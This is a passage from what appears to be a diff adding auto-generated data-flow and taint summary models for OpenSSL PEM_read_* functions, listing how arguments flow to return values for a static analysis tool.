"ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_ECPrivateKey", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PUBKEY", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PUBKEY_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PrivateKey", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PrivateKey_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_RSAPrivateKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", 